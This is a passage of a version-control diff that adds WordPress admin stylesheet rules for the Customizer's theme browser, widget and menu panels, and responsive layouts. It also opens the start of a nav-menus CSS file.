+	border-bottom: 1px solid #ddd;
+	color: #555d66;
+}
+
+.control-panel-themes .customize-themes-section-title {
+	width: 100%;
+	background: #fff;
+	box-shadow: none;
+	outline: none;
+	border-top: none;
+	border-bottom: 1px solid #ddd;
+	border-left: 4px solid #fff;
+	border-right: none;
+	cursor: pointer;
+	padding: 10px 15px;
+	position: relative;
+	text-align: left;
+	font-size: 14px;
+	font-weight: 600;
+	color: #555d66;
+	text-shadow: none;
+}
+
+.control-panel-themes #accordion-section-installed_themes {
+	border-top: 1px solid #ddd;
+}
+
+.control-panel-themes .theme-section {
+	margin: 0;
+	position: relative;
+}
+
+.control-panel-themes .customize-themes-section-title:focus,
+.control-panel-themes .customize-themes-section-title:hover {
+	border-left-color: #0073aa;
+	color: #0073aa;
+	background: #f5f5f5;
+}
+
+.customize-themes-section-title:not(.selected):after {
+	content: "";
+	display: block;
+	position: absolute;
+	top: 9px;
+	right: 15px;
+	width: 18px;
+	height: 18px;
+	border-radius: 100%;
+	border: 1px solid #ccc;
+	background: #fff;
+}
+
+.control-panel-themes .theme-section .customize-themes-section-title.selected:after {
+	content: "\f147";
+	font: 16px/1 dashicons;
+	box-sizing: border-box;
+	width: 20px;
+	height: 20px;
+	padding: 3px 3px 1px 1px; /* Re-align the icon to the smaller grid */
+	border-radius: 100%;
+	position: absolute;
+	top: 9px;
+	right: 15px;
+	background: #0073aa;
+	color: #fff;
+}
+
+.control-panel-themes .customize-themes-section-title.selected {
+	color: #0073aa;
+}
+
+#customize-theme-controls .themes.accordion-section-content {
+	position: relative;
+	left: 0;
+	padding: 0;
+	width: 100%;
+}
+
+.loading .customize-themes-section .spinner {
+	display: block;
+	visibility: visible;
+	position: relative;
+	clear: both;
+	width: 20px;
+	height: 20px;
+	left: calc(50% - 10px);
+	float: none;
+	margin-top: 50px;
+}
+
+.customize-themes-section .no-themes,
+.customize-themes-section .no-themes-local {
+	display: none;
+}
+
+.themes-section-installed_themes .theme .notice-success:not(.updated-message) {
+	display: none; /* Hide "installed" notice on installed themes tab. */
+}
+
+.customize-control-theme .theme {
+	width: 100%;
+	margin: 0;
+	border: 1px solid #ddd;
+	background: #fff;
+}
+
+.customize-control-theme .theme .theme-name, .customize-control-theme .theme .theme-actions {
+	background: #fff;
+	border: none;
+}
+
+.customize-control.customize-control-theme { /* override most properties on .customize-control */
+	box-sizing: border-box;
+	width: 25%;
+	max-width: 600px; /* Max. screenshot size / 2 */
+	margin: 0 25px 25px 0;
+	padding: 0;
+	clear: none;
+}
+
+/* 5 columns above 2100px */
+@media screen and (min-width: 2101px) {
+	.customize-control.customize-control-theme {
+		width: calc( ( 100% - 125px ) / 5 - 1px ); /* 1px offset accounts for browser rounding, typical all grids */
+	}
+}
+
+/* 4 columns up to 2100px */
+@media screen and (min-width: 1601px) and (max-width: 2100px) {
+	.customize-control.customize-control-theme {
+		width: calc( ( 100% - 100px ) / 4 - 1px );
+	}
+}
+
+/* 3 columns up to 1600px */
+@media screen and (min-width: 1201px) and (max-width: 1600px) {
+	.customize-control.customize-control-theme {
+		width: calc( ( 100% - 75px ) / 3 - 1px );
+	}
+}
+
+/* 2 columns up to 1200px */
+@media screen and (min-width: 851px) and (max-width: 1200px) {
+	.customize-control.customize-control-theme {
+		width: calc( ( 100% - 50px ) / 2 - 1px );
+
+	}
+}
+
+/* 1 column up to 850 px */
+@media screen and (max-width: 850px) {
+	.customize-control.customize-control-theme {
+		width: 100%;
+	}
+}
+
+.wp-customizer .theme-browser .themes {
+	padding: 0 0 25px 25px;
+	transition: .18s margin-top linear;
+}
+
+.wp-customizer .theme-browser .theme .theme-actions {
+	opacity: 1;
+}
+
+#customize-controls h3.theme-name {
+	font-size: 15px;
+}
+
+#customize-controls .theme-overlay .theme-name {
+	font-size: 32px;
+}
+
+.customize-preview-header.themes-filter-bar {
+	position: fixed;
+	top: 0;
+	left: 300px;
+	width: calc(100% - 300px);
+	height: 46px;
+	background: #eee;
+	z-index: 10;
+	padding: 6px 25px;
+	box-sizing: border-box;
+	border-bottom: 1px solid #ddd;
+}
+
+@media screen and (min-width: 1670px) {
+	.customize-preview-header.themes-filter-bar {
+		width: 82%;
+		right: 0;
+		left: initial;
+	}
+}
+
+.themes-filter-bar .themes-filter-container {
+	margin: 0;
+	padding: 0;
+}
+
+.themes-filter-bar .wp-filter-search {
+	line-height: 25px;
+	padding: 6px 10px 6px 30px;
+	max-width: 100%;
+	width: 40%;
+	min-width: 300px;
+	position: absolute;
+	top: 6px;
+	left: 25px;
+	height: 32px;
+	margin: 1px 0;
+}
+
+/* Unstick the filter bar on short windows/screens. This breakpoint is based on the
+   current length of .org feature filters assuming translations do not wrap lines. */
+@media screen and (max-height:540px), screen and (max-width:1018px) {
+	.customize-preview-header.themes-filter-bar {
+		position: relative;
+		left: 0;
+		width: 100%;
+		margin: 0 0 25px 0;
+	}
+	.filter-drawer {
+		top: 46px;
+	}
+	.wp-customizer .theme-browser .themes {
+		padding: 0 0 25px 25px;
+		overflow: hidden;
+	}
+
+	.control-panel-themes .customize-themes-full-container {
+		margin-top: 0;
+		padding: 0;
+		height: 100%;
+		width: calc(100% - 300px);
+	}
+}
+
+@media screen and (max-width:1018px) {
+	.filter-drawer .filter-group {
+		width: calc( (100% - 50px) / 2);
+	}
+}
+
+@media screen and (max-width:900px) {
+	.customize-preview-header.themes-filter-bar {
+		height: 86px;
+		padding-top: 46px;
+	}
+
+	.themes-filter-bar .wp-filter-search {
+		width: calc(100% - 50px);
+		margin: 0;
+		min-width: 200px;
+	}
+
+	.filter-drawer {
+		top: 86px;
+	}
+
+	.control-panel-themes .filter-themes-count {
+		float: left;
+	}
+}
+
+@media screen and (max-width:792px) {
+	.filter-drawer .filter-group {
+		width: calc( 100% - 25px);
+	}
+}
+
+.control-panel-themes .customize-themes-mobile-back {
+	display: none;
+}
+
+/* Mobile - toggle between themes and filters */
+@media screen and (max-width:600px) {
+
+	.filter-drawer {
+		top: 132px;
+	}
+
+	.wp-full-overlay.showing-themes .control-panel-themes .filter-themes-count .filter-themes {
+		display: block;
+		float: right;
+	}
+
+	.control-panel-themes .customize-themes-full-container {
+		width: 100%;
+		margin: 0;
+		padding-top: 46px;
+		height: calc(100% - 46px);
+		z-index: 1;
+		display: none;
+	}
+
+	.showing-themes .control-panel-themes .customize-themes-full-container {
+		display: block;
+	}
+
+	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back {
+		display: block;
+		position: fixed;
+		top: 0;
+		left: 0;
+		background: #eee;
+		color: #444;
+		border-radius: 0;
+		box-shadow: none;
+		border: none;
+		height: 46px;
+		width: 100%;
+		z-index: 10;
+		text-align: left;
+		text-shadow: none;
+		border-bottom: 1px solid #ddd;
+		border-left: 4px solid transparent;
+		margin: 0;
+		padding: 0;
+		font-size: 0;
+		overflow: hidden;
+	}
+
+	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:before {
+		left: 0;
+		top: 0;
+		height: 46px;
+		width: 26px;
+		display: block;
+		line-height: 46px;
+		padding: 0 8px 0 8px;
+		border-right: 1px solid #ddd;
+	}
+
+	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:hover,
+	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:focus {
+		color: #0073aa;
+		background: #f3f3f5;
+		border-left-color: #0073aa;
+		outline: none;
+		box-shadow: none;
+	}
+
+	.showing-themes #customize-header-actions {
+		display: none;
+	}
+
+	#customize-controls {
+		width: 100%;
+	}
+}
+
+/* Details View */
+.wp-customizer .theme-overlay {
+	display: none;
+}
+
+.wp-customizer.modal-open .theme-overlay {
+	position: fixed;
+	left: 0;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	z-index: 109;
+}
+
+/* Avoid a z-index war by resetting elements that should be under the overlay.
+   This is likely required because of the way that sections and panels are positioned. */
+.wp-customizer.modal-open #customize-header-actions,
+.wp-customizer.modal-open .control-panel-themes .filter-themes-count,
+.wp-customizer.modal-open .control-panel-themes .customize-themes-section-title.selected:after {
+	z-index: -1;
+}
+
+.wp-full-overlay.in-themes-panel.themes-panel-expanded #customize-controls .wp-full-overlay-sidebar-content {
+	overflow: visible;
+}
+
+.wp-customizer .theme-overlay .theme-backdrop {
+	background: rgba( 238, 238, 238, 0.75 );
+	position: fixed;
+	z-index: 110;
+}
+
+.wp-customizer .theme-overlay .star-rating {
+	float: left;
+	margin-right: 8px;
+}
+
+.wp-customizer .theme-rating .num-ratings {
+	line-height: 20px;
+}
+
+.wp-customizer .theme-overlay .theme-wrap {
+	left: 90px;
+	right: 90px;
+	top: 45px;
+	bottom: 45px;
+	z-index: 120;
+}
+
+.wp-customizer .theme-overlay .theme-actions {
+	text-align: right; /* Because there're only one or two actions, match the UI pattern of media modals and right-align the action. */
+	padding: 10px 25px;
+	background: #eee;
+	border-top: 1px solid #ddd;
+}
+
+.wp-customizer .theme-overlay .theme-actions .theme-install.preview {
+	margin-left: 8px;
+}
+
+.control-panel-themes .theme-actions .delete-theme {
+	left: 15px; /* these override themes.css on mobile */
+	right: auto;
+	bottom: auto;
+	position: absolute;
+}
+
+.modal-open .in-themes-panel #customize-controls .wp-full-overlay-sidebar-content {
+	overflow: visible; /* Prevent the top-level Customizer controls from becoming visible when elements on the right of the details modal are focused. */
+}
+
+.wp-customizer .theme-header {
+	background: #eee;
+}
+
+.wp-customizer .theme-overlay .theme-header button,
+.wp-customizer .theme-overlay .theme-header .close:before {
+	color: #444;
+}
+
+.wp-customizer .theme-overlay .theme-header .close:focus,
+.wp-customizer .theme-overlay .theme-header .close:hover,
+.wp-customizer .theme-overlay .theme-header .right:focus,
+.wp-customizer .theme-overlay .theme-header .right:hover,
+.wp-customizer .theme-overlay .theme-header .left:focus,
+.wp-customizer .theme-overlay .theme-header .left:hover {
+	background: #fff;
+	border-bottom: 4px solid #0073aa;
+	color: #0073aa;
+}
+
+.wp-customizer .theme-overlay .theme-header .close:focus:before,
+.wp-customizer .theme-overlay .theme-header .close:hover:before {
+	color: #0073aa;
+}
+
+.wp-customizer .theme-overlay .theme-header button.disabled,
+.wp-customizer .theme-overlay .theme-header button.disabled:hover,
+.wp-customizer .theme-overlay .theme-header button.disabled:focus {
+	border-bottom: none;
+	background: transparent;
+	color: #ccc;
+}
+
+/* Small Screens */
+@media (max-width:850px), (max-height:472px) {
+	.wp-customizer .theme-overlay .theme-wrap {
+		left: 0;
+		right: 0;
+		top: 0;
+		bottom: 0;
+	}
+
+	.wp-customizer .theme-browser .themes {
+		padding-right: 25px;
+	}
+}
+
+/* Handle cheaters. */
+body.cheatin {
+	font-size: medium;
+	height: auto;
+	background: #fff;
+	margin: 50px auto 2em;
+	padding: 1em 2em;
+	max-width: 700px;
+	min-width: 0;
+	box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+}
+
+body.cheatin h1 {
+	border-bottom: 1px solid #ddd;
+	clear: both;
+	color: #555d66;
+	font-size: 24px;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	margin: 30px 0 0 0;
+	padding: 0;
+	padding-bottom: 7px;
+}
+
+body.cheatin p {
+	font-size: 14px;
+	line-height: 1.5;
+	margin: 25px 0 20px;
+}
+
+/**
+ * Widgets and Menus common styles
+ */
+
+/* higher specificity than .wp-core-ui .button */
+#customize-theme-controls .add-new-widget,
+#customize-theme-controls .add-new-menu-item {
+	cursor: pointer;
+	float: right;
+	margin: 0;
+	margin-left: 10px;
+	transition: all 0.2s;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+	outline: none;
+}
+
+.reordering .add-new-widget,
+.reordering .add-new-menu-item {
+	opacity: 0.2;
+	pointer-events: none;
+	cursor: not-allowed; /* doesn't work in conjunction with pointer-events */
+}
+
+.add-new-widget:before,
+.add-new-menu-item:before,
+#available-menu-items .new-content-item .add-content:before {
+	content: "\f132";
+	display: inline-block;
+	position: relative;
+	left: -2px;
+	top: 0;
+	font: normal 20px/1 dashicons;
+	vertical-align: middle;
+	transition: all 0.2s;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+/* Reordering */
+.reorder-toggle {
+	float: right;
+	padding: 5px 8px;
+	text-decoration: none;
+	cursor: pointer;
+	outline: none;
+}
+
+.reorder,
+.reordering .reorder-done {
+	display: block;
+	padding: 5px 8px;
+}
+
+.reorder-done,
+.reordering .reorder {
+	display: none;
+}
+
+.widget-reorder-nav span,
+.menu-item-reorder-nav button {
+	position: relative;
+	overflow: hidden;
+	float: left;
+	display: block;
+	width: 33px; /* was 42px for mobile */
+	height: 43px;
+	color: #82878c;
+	text-indent: -9999px;
+	cursor: pointer;
+	outline: none;
+}
+
+.menu-item-reorder-nav button {
+	width: 30px;
+	height: 40px;
+	background: transparent;
+	border: none;
+	box-shadow: none;
+}
+
+.widget-reorder-nav span:before,
+.menu-item-reorder-nav button:before {
+	display: inline-block;
+	position: absolute;
+	top: 0;
+	right: 0;
+	width: 100%;
+	height: 100%;
+	font: normal 20px/43px dashicons;
+	text-align: center;
+	text-indent: 0;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.widget-reorder-nav span:hover,
+.widget-reorder-nav span:focus,
+.menu-item-reorder-nav button:hover,
+.menu-item-reorder-nav button:focus {
+	color: #191e23;
+	background: #eee;
+}
+
+.move-widget-down:before,
+.menus-move-down:before {
+	content: "\f347";
+}
+
+.move-widget-up:before,
+.menus-move-up:before {
+	content: "\f343";
+}
+
+#customize-theme-controls .first-widget .move-widget-up,
+#customize-theme-controls .last-widget .move-widget-down,
+.move-up-disabled .menus-move-up,
+.move-down-disabled .menus-move-down,
+.move-right-disabled .menus-move-right,
+.move-left-disabled .menus-move-left {
+	color: #d5d5d5;
+	background-color: #fff;
+	cursor: default;
+	pointer-events: none;
+}
+
+/**
+ * New widget and Add-menu-items modes and panels
+ */
+
+.wp-full-overlay-main {
+	right: auto; /* this overrides a right: 0; which causes the preview to resize, I'd rather have it go off screen at the normal size. */
+	width: 100%;
+}
+
+body.adding-widget .add-new-widget,
+body.adding-widget .add-new-widget:hover,
+.adding-menu-items .add-new-menu-item,
+.adding-menu-items .add-new-menu-item:hover,
+.add-menu-toggle.open,
+.add-menu-toggle.open:hover {
+	background: #eee;
+	border-color: #929793;
+	color: #32373c;
+	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
+}
+
+body.adding-widget .add-new-widget:before,
+.adding-menu-items .add-new-menu-item:before,
+#accordion-section-add_menu .add-new-menu-item.open:before {
+	transform: rotate(45deg);
+}
+
+#available-widgets,
+#available-menu-items {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	left: -301px;
+	visibility: hidden;
+	overflow-x: hidden;
+	overflow-y: auto;
+	width: 300px;
+	margin: 0;
+	z-index: 4;
+	background: #eee;
+	transition: left .18s;
+	border-right: 1px solid #ddd;
+}
+
+#available-widgets .customize-section-title,
+#available-menu-items .customize-section-title {
+	display: none;
+}
+
+#available-widgets-list {
+	top: 60px;
+	position: absolute;
+	overflow: auto;
+	bottom: 0;
+	width: 100%;
+	border-top: 1px solid #ddd;
+}
+
+.no-widgets-found #available-widgets-list {
+	border-top: none;
+}
+
+#available-widgets-filter {
+	position: fixed;
+	top: 0;
+	z-index: 1;
+	width: 300px;
+	background: #eee;
+}
+
+/* search field container */
+#available-widgets-filter,
+#available-menu-items-search .accordion-section-title {
+	padding: 13px 15px;
+	box-sizing: border-box;
+}
+
+#available-widgets-filter input,
+#available-menu-items-search input {
+	width: 100%;
+	height: 32px;
+	margin: 1px 0;
+	padding: 6px 30px;
+}
+
+#available-widgets-filter input::-ms-clear,
+#available-menu-items-search input::-ms-clear {
+	display: none; /* remove the "x" in IE, which conflicts with the "x" icon on button.clear-results */
+}
+
+#available-menu-items-search .search-icon,
+#available-widgets-filter .search-icon {
+	display: block;
+	position: absolute;
+	top: 15px; /* 13 container padding +1 input margin +1 input border */
+	left: 16px;
+	width: 30px;
+	height: 30px;
+	line-height: 28px;
+	text-align: center;
+	color: #72777c;
+}
+
+#available-widgets-filter .clear-results,
+#available-menu-items-search .clear-results {
+	position: absolute;
+	top: 15px; /* 13 container padding +1 input margin +1 input border */
+	right: 16px;
+	width: 30px;
+	height: 30px;
+	padding: 0;
+	border: 0;
+	cursor: pointer;
+	background: none;
+	color: #a00;
+	text-decoration: none;
+	outline: 0;
+}
+
+#available-widgets-filter .clear-results,
+#available-menu-items-search .clear-results,
+#available-menu-items-search.loading .clear-results.is-visible {
+	display: none;
+}
+
+#available-widgets-filter .clear-results.is-visible,
+#available-menu-items-search .clear-results.is-visible {
+	display: block;
+}
+
+#available-widgets-filter .clear-results:before,
+#available-menu-items-search .clear-results:before {
+	content: "\f335";
+	font: normal 20px/1 dashicons;
+	vertical-align: middle;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#available-widgets-filter .clear-results:hover,
+#available-widgets-filter .clear-results:focus,
+#available-menu-items-search .clear-results:hover,
+#available-menu-items-search .clear-results:focus {
+	color: #dc3232;
+}
+
+#available-widgets-filter .clear-results:focus,
+#available-menu-items-search .clear-results:focus {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+#available-menu-items-search .search-icon:after,
+#available-widgets-filter .search-icon:after,
+.themes-filter-bar .search-icon:after {
+	content: "\f179";
+	font: normal 20px/1 dashicons;
+	vertical-align: middle;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.themes-filter-bar .search-icon {
+	position: absolute;
+	top: 7px;
+	left: 26px;
+	z-index: 1;
+	color: #72777c;
+	height: 30px;
+	width: 30px;
+	line-height: 2;
+	text-align: center;
+}
+
+.no-widgets-found-message {
+	display: none;
+	margin: 0;
+	padding: 0 15px;
+	line-height: inherit;
+}
+
+.no-widgets-found .no-widgets-found-message {
+	display: block;
+}
+
+#available-widgets .widget-top,
+#available-widgets .widget-top:hover,
+#available-menu-items .item-top,
+#available-menu-items .item-top:hover {
+	border: none;
+	background: transparent;
+	box-shadow: none;
+}
+
+#available-widgets .widget-tpl,
+#available-menu-items .item-tpl {
+	position: relative;
+	padding: 15px 15px 15px 60px;
+	background: #fff;
+	border-bottom: 1px solid #ddd;
+	border-left: 4px solid #fff;
+	transition: .15s color ease-in-out,
+	            .15s background-color ease-in-out,
+	            .15s border-color ease-in-out;
+	cursor: pointer;
+	display: none;
+}
+
+#available-widgets .widget,
+#available-menu-items .item {
+	position: static;
+}
+
+
+/* Responsive */
+.customize-controls-preview-toggle {
+	display: none;
+}
+
+@media only screen and (max-width: 782px) {
+	.wp-customizer .theme:not(.active):hover .theme-actions,
+	.wp-customizer .theme:not(.active):focus .theme-actions {
+		display: block;
+	}
+
+	.wp-customizer .theme-browser .theme.active .theme-name span {
+		display: inline;
+	}
+
+	.customize-control-header button.random .dice {
+		margin-top: 0;
+	}
+
+	.customize-control-radio .customize-inside-control-row,
+	.customize-control-checkbox .customize-inside-control-row,
+	.customize-control-nav_menu_auto_add .customize-inside-control-row {
+		margin-left: 32px;
+	}
+
+	.customize-control-radio input,
+	.customize-control-checkbox input,
+	.customize-control-nav_menu_auto_add input {
+		margin-left: -32px;
+	}
+
+	.customize-control input[type="radio"] + label + br,
+	.customize-control input[type="checkbox"] + label + br {
+		line-height: 32px; /* For widgets checkboxes */
+	}
+
+	.customize-control .date-time-fields select {
+		height: 39px;
+	}
+
+	.date-time-fields .date-input.month {
+		width: 79px;
+	}
+
+	.date-time-fields .date-input.day,
+	.date-time-fields .date-input.hour,
+	.date-time-fields .date-input.minute {
+		width: 55px;
+	}
+
+	.date-time-fields .date-input.year {
+		width: 80px;
+	}
+
+	.date-time-fields .date-timezone {
+		line-height: 3.2;
+	}
+
+	#customize-control-changeset_preview_link a {
+		bottom: 16px;
+	}
+
+	.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button {
+		bottom: 10px;
+	}
+
+	.media-widget-control .media-widget-buttons .button.edit-media,
+	.media-widget-control .media-widget-buttons .button.change-media,
+	.media-widget-control .media-widget-buttons .button.select-media {
+		margin-top: 12px;
+	}
+
+	.wp-core-ui .themes-filter-bar .feature-filter-toggle {
+		margin: 3px 0 3px 25px;
+	}
+}
+
+@media screen and ( max-width: 1200px ) {
+	.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
+	.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
+	.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main {
+		left: 67%;
+	}
+}
+
+@media screen and ( max-width: 640px ) {
+
+	/* when the sidebar is collapsed and switching to responsive view,
+	   bring it back see ticket #35220 */
+	.wp-full-overlay.collapsed #customize-controls {
+		margin-left: 0;
+	}
+
+	.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
+		bottom: 0;
+	}
+
+	.customize-controls-preview-toggle {
+		display: block;
+		position: absolute;
+		top: 0;
+		left: 48px;
+		line-height: 45px;
+		font-size: 14px;
+		padding: 0 12px;
+		margin: 0;
+		height: 45px;
+		background: #eee;
+		border: 0;
+		border-right: 1px solid #ddd;
+		color: #555d66;
+		cursor: pointer;
+		transition: color .1s ease-in-out, background .1s ease-in-out;
+	}
+
+	#customize-footer-actions,
+	/*#customize-preview,*/
+	.customize-controls-preview-toggle .controls,
+	.preview-only .wp-full-overlay-sidebar-content,
+	.preview-only .customize-controls-preview-toggle .preview {
+		display: none;
+	}
+
+	.preview-only #customize-save-button-wrapper {
+		margin-top: -46px;
+	}
+
+	.customize-controls-preview-toggle .preview:before,
+	.customize-controls-preview-toggle .controls:before {
+		font: normal 20px/1 dashicons;
+		content: "\f177";
+		position: relative;
+		top: 4px;
+		margin-right: 6px;
+	}
+
+	.customize-controls-preview-toggle .controls:before {
+		content: "\f540";
+	}
+
+	.preview-only #customize-controls {
+		height: 45px;
+	}
+
+	.preview-only #customize-preview,
+	.preview-only .customize-controls-preview-toggle .controls {
+		display: block;
+	}
+
+	.wp-core-ui.wp-customizer .button {
+		padding: 6px 14px;
+		line-height: normal;
+		font-size: 14px;
+		vertical-align: middle;
+		height: auto;
+	}
+
+	#publish-settings {
+		height: 31px;
+	}
+
+	#customize-control-changeset_status .customize-inside-control-row {
+		padding-top: 15px;
+	}
+
+	body.adding-widget div#available-widgets,
+	body.adding-menu-items div#available-menu-items,
+	body.outer-section-open div#customize-sidebar-outer-content {
+		width: 100%;
+	}
+
+	#available-widgets .customize-section-title,
+	#available-menu-items .customize-section-title {
+		display: block;
+		margin: 0;
+	}
+
+	#available-widgets .customize-section-back,
+	#available-menu-items .customize-section-back {
+		height: 69px;
+	}
+
+	#available-widgets .customize-section-title h3,
+	#available-menu-items .customize-section-title h3 {
+		font-size: 20px;
+		font-weight: 200;
+		padding: 9px 10px 12px 14px;
+		margin: 0;
+		line-height: 24px;
+		color: #555d66;
+		display: block;
+		overflow: hidden;
+		white-space: nowrap;
+		text-overflow: ellipsis;
+	}
+
+	#available-widgets .customize-section-title .customize-action,
+	#available-menu-items .customize-section-title .customize-action {
+		font-size: 13px;
+		display: block;
+		font-weight: 400;
+		overflow: hidden;
+		white-space: nowrap;
+		text-overflow: ellipsis;
+	}
+
+	#available-widgets-filter {
+		position: relative;
+		width: 100%;
+		height: auto;
+	}
+
+	#available-widgets-list {
+		top: 130px;
+	}
+
+	#available-menu-items-search .clear-results,
+	#available-menu-items-search .search-icon {
+		top: 85px; /* 70 section title height + 13 container padding +1 input margin +1 input border */
+	}
+
+	.reorder,
+	.reordering .reorder-done {
+		padding: 8px;
+	}
+
+	.wp-core-ui .themes-filter-bar .feature-filter-toggle {
+		margin: 0;
+	}
+
+	.theme-browser .theme.active .theme-actions,
+	.wp-customizer .theme-browser .theme .theme-actions {
+		padding: 9px 15px;
+		box-shadow: inset 0 1px 0 rgba(0,0,0,0.1);
+	}
+}
+
+@media screen and ( max-width: 600px ) {
+	.theme-browser .theme.active .theme-actions,
+	.wp-customizer .theme-browser .theme .theme-actions {
+		padding: 8px 15px;
+		box-shadow: none;
+	}
+
+	.wp-full-overlay.expanded {
+		margin-left: 0;
+	}
+
+	body.adding-widget div#available-widgets,
+	body.adding-menu-items div#available-menu-items,
+	body.outer-section-open div#customize-sidebar-outer-content {
+		top: 46px;
+		z-index: 10;
+	}
+
+	body.wp-customizer .wp-full-overlay.expanded #customize-sidebar-outer-content {
+		left: -100%;
+	}
+
+	body.wp-customizer.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content {
+		left: 0;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/customize-nav-menus.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/customize-nav-menus.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/customize-nav-menus.css	(revision 56912)
@@ -0,0 +1,887 @@
+#customize-theme-controls #accordion-section-menu_locations {
+	position: relative;
+	margin-top: 30px;
+}
+
+#customize-theme-controls #accordion-section-menu_locations > .accordion-section-title {
+	border-bottom-color: #ddd;
+	margin-top: 15px;
+}
+
+#customize-theme-controls .customize-section-title-nav_menus-heading,
+#customize-theme-controls .customize-section-title-menu_locations-heading,
+#customize-theme-controls .customize-section-title-menu_locations-description {
+	padding: 0 12px 0 12px;
+}
+
+#customize-theme-controls .customize-control-description.customize-section-title-menu_locations-description {
+	/* Override the default italic style for control descriptions */
+	font-style: normal;
+}
+
+.menu-in-location,
+.menu-in-locations {
+	display: block;
+	font-weight: 600;
+	font-size: 10px;
+}
+
+#customize-controls .theme-location-set,
+#customize-controls .control-section .accordion-section-title:focus .menu-in-location,
+#customize-controls .control-section .accordion-section-title:hover .menu-in-location {
+	color: #555;
+}
+
+/* The `edit-menu` and `create-menu` buttons also use the `button-link` class. */
+.customize-control-nav_menu_location .edit-menu,
+.customize-control-nav_menu_location .create-menu {
+	margin-left: 6px;
+	vertical-align: middle;
+	line-height: 28px;
+}
+
+#customize-controls .customize-control-nav_menu_name {
+	margin-bottom: 12px;
+}
+
+.customize-control-nav_menu_name p:last-of-type {
+	margin-bottom: 0;
+}
+
+#customize-new-menu-submit {
+	float: right;
+	min-width: 85px;
+}
+
+.wp-customizer .menu-item-bar .menu-item-handle,
+.wp-customizer .menu-item-settings,
+.wp-customizer .menu-item-settings .description-thin {
+	box-sizing: border-box;
+}
+
+.wp-customizer .menu-item-bar {
+	margin: 0;
+}
+
+.wp-customizer .menu-item-bar .menu-item-handle {
+	width: 100%;
+	background: #fff;
+}
+
+.wp-customizer .menu-item-handle .item-title {
+	margin-right: 0;
+}
+
+.wp-customizer .menu-item-handle .item-type {
+	padding: 1px 21px 0 5px;
+	float: right;
+	text-align: right;
+}
+
+.wp-customizer .menu-item-handle:hover {
+	z-index: 8;
+}
+
+.customize-control-nav_menu_item.has-notifications .menu-item-handle {
+	border-left: 4px solid #00a0d2;
+}
+
+.wp-customizer .menu-item-settings {
+	max-width: 100%;
+	overflow: hidden;
+	z-index: 8;
+	padding: 10px;
+	background: #eee;
+	border: 1px solid #999;
+	border-top: none;
+}
+
+.wp-customizer .menu-item-settings .description-thin {
+	width: 100%;
+	height: auto;
+	margin: 0 0 8px 0;
+}
+
+.wp-customizer .menu-item-settings input[type="text"] {
+	width: 100%;
+}
+
+.wp-customizer .menu-item-settings .submitbox {
+	margin: 0;
+	padding: 0;
+}
+
+.wp-customizer .menu-item-settings .link-to-original {
+	padding: 5px 0;
+	border: none;
+	font-style: normal;
+	margin: 0;
+	width: 100%;
+}
+
+.wp-customizer .menu-item .submitbox .submitdelete {
+	float: left;
+	margin: 6px 0 0;
+	padding: 0;
+	cursor: pointer;
+}
+
+
+/**
+ * Menu items reordering styles
+ */
+
+.menu-item-reorder-nav {
+	display: none;
+	background-color: #fff;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+.menus-move-left:before {
+	content: "\f341";
+}
+
+.menus-move-right:before {
+	content: "\f345";
+}
+
+.reordering .menu-item .item-controls,
+.reordering .menu-item .item-type {
+	display: none;
+}
+
+.reordering .menu-item-reorder-nav {
+	display: block;
+}
+
+.customize-control input.menu-name-field {
+	width: 100%; /* Override the 98% default for customizer inputs, to align with the size of menu items. */
+}
+
+.wp-customizer .menu-item .item-edit {
+	position: absolute;
+	right: -19px;
+	top: 2px;
+	display: block;
+	width: 30px;
+	height: 38px;
+	margin-right: 0 !important;
+	box-shadow: none;
+	outline: none;
+	overflow: hidden;
+	cursor: pointer;
+	text-align: center;
+}
+
+.wp-customizer .menu-item.menu-item-edit-active .item-edit .toggle-indicator:before {
+	content: "\f142";
+}
+
+.wp-customizer .menu-item-settings p.description {
+	font-style: normal;
+}
+
+.wp-customizer .menu-settings dl {
+	margin: 12px 0 0 0;
+	padding: 0;
+}
+
+.wp-customizer .menu-settings .checkbox-input {
+	margin-top: 8px;
+}
+
+.wp-customizer .menu-settings .menu-theme-locations {
+	border-top: 1px solid #ccc;
+}
+
+.wp-customizer .menu-settings {
+	margin-top: 36px;
+	border-top: none;
+}
+
+.wp-customizer .menu-location-settings {
+	margin-top: 12px;
+	border-top: none;
+}
+
+.wp-customizer .control-section-nav_menu .menu-location-settings {
+	margin-top: 24px;
+	border-top: 1px solid #ddd;
+}
+
+.wp-customizer .control-section-nav_menu .menu-location-settings,
+.customize-control-nav_menu_auto_add {
+	padding-top: 12px;
+}
+
+.menu-location-settings .customize-control-checkbox .theme-location-set {
+	line-height: 1;
+}
+
+.customize-control-nav_menu_auto_add label {
+	vertical-align: top;
+}
+
+.menu-location-settings .new-menu-locations-widget-note {
+	display: block;
+}
+
+.customize-control-menu {
